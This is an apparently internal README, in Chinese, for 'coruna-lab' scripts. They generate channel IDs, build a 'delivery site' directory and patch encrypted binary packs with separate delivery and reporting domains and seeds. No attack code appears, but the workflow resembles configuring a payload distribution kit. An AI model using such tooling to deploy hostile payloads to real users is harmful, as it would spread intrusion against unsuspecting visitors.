# coruna-lab 工具:channel id / 固定域名 ## 推荐:`new_project.py` 从 **Laravel 配置**读取投放域名(系统设置 → 投放域名,或 `.env` `CORUNA_CHANNEL_DOMAINS`),行为: 1. 生成或使用 **32 位小写 `[0-9a-z]`** channel id 2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/` 3. **域名与上次 `out/domains.json` 相同**(且已有 `sync/`)→ 只打 secondary,**不碰 sync** 4. **域名变更 / 首次无 sync** → 从 `source/sync` 重置并 `patch_all` 重建 sync 后台「新建渠道链接」会带上当前配置域名调用本脚本。 ```bash cd coruna-lab pip3 install py7zr pycryptodome # 域名默认读 Laravel 配置 /usr/bin/python3 tools/new_project.py --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' # 也可显式覆盖 /usr/bin/python3 tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.dep1.example,www.dep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' # 强制重建 sync /usr/bin/python3 tools/new_project.py --channel-id '...' --force-sync ``` 产物: - `server/public/web//` — 投递站 - `server/public/sync/` — 仅域名变化时重建 - `server/public/out/{channel,domains,seeds}.json` 约束: - channel id:恰好 **32** 个小写字母数字 - 每池最多 **8** 个域名,单域名 ≤ 63 ASCII - macOS 建议 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`) 查看当前配置域名: ```bash cd server && php artisan coruna:channel-domains --json ``` --- ## 仅重建(已有 server/public) ```bash /usr/bin/python3 tools/patch_all.py --apply --root server/public \ --channel-id 'dddddddddddddddddddddddddddddddd' \ --deployment-domains 'www.dep1.example,www.dep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' ``` ### Seed 格式 - ASCII,长度 ≤ 32(二进制槽位定长 32) - 推荐正好 32 个十六进制字符 - 域名未变时 `new_project` 会复用 `out/seeds.json` --- ## 分步脚本 ```bash # 二级包 type0x01(含 channel) /usr/bin/python3 tools/patch_secondary_packs.py \ --deployment-seed <32hex> --reporting-seed <32hex> \ --channel-id \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ --root server/public --apply # core + sync 业务插件 + daily /usr/bin/python3 tools/patch_core.py \ --deployment-seed <32hex> --reporting-seed <32hex> \ --channel-id \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ --root server/public --apply ```